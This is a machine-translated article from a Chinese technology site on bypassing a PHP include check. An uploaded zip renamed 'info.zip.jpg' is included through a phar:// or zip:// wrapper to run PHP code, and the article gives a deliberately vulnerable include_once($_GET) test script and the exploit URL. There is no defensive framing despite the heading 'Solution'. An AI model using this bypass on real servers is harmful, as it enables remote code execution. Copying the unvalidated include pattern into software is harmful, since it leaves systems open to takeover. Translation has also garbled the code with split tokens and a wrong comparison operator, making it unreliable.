Get the App
SLTechnology News&Howtos  ›  Network Security  › 

Contains vulnerabilities & # 160; solutions to whitelist verification and judgment suffixes of file types

Shulou Source: shulou.com Published: 2022-06-01 05:13:32 09月26日 Update

$include_file is controllable and can upload files. The upload suffix is limited to jpg,gif,png, and the suffix limit must be .php.

Allow_url_include=Off (regardless of remote inclusion)

If (isset ($include_file) & & strtolower (substr ($include_file,-4)) = ".php") {include_once ($include_file);}

Solution

Required php > = 5.3

Package php into zip and upload it with a renamed name, such as info.zip.jpg.

It is then included with a phar stream wrapper, where info.zip.jpg is the zip file name and info.php is the sub-file name within the zip package

Http://localhost/index.php?a=phar://info.zip.jpg/info.php

Test the code:

Echo "ini_get (allow_url_include):" .ini _ get ("allow_url_include"). "; $include_file=$_GET ['a']; if (isset ($include_file) & & strtolower (substr ($include_file,-4)) = =" .php ") {include_once ($include_file);} else {echo" file err ";}

Reference document: http://php.net/manual/zh/phar.using.stream.php

PS.

According to the php official documentation, at least php5.3 is required to use it, and an extension is needed before 5.3.

If it doesn't work, you can also try the zip stream wrapper (which requires a zip extension) and pay attention to escaping the pound sign:

Zip://info.zip.jpg#info.php

Tags: File suffix file name document package restriction code official solution Yijing reference test method list vulnerability type validation Apple Docker Huawei Linux macOS MariaDB Microsoft MySQL NVidia OPPO Reno Xiaomi macOS OPPO Reno Docker Shulou Information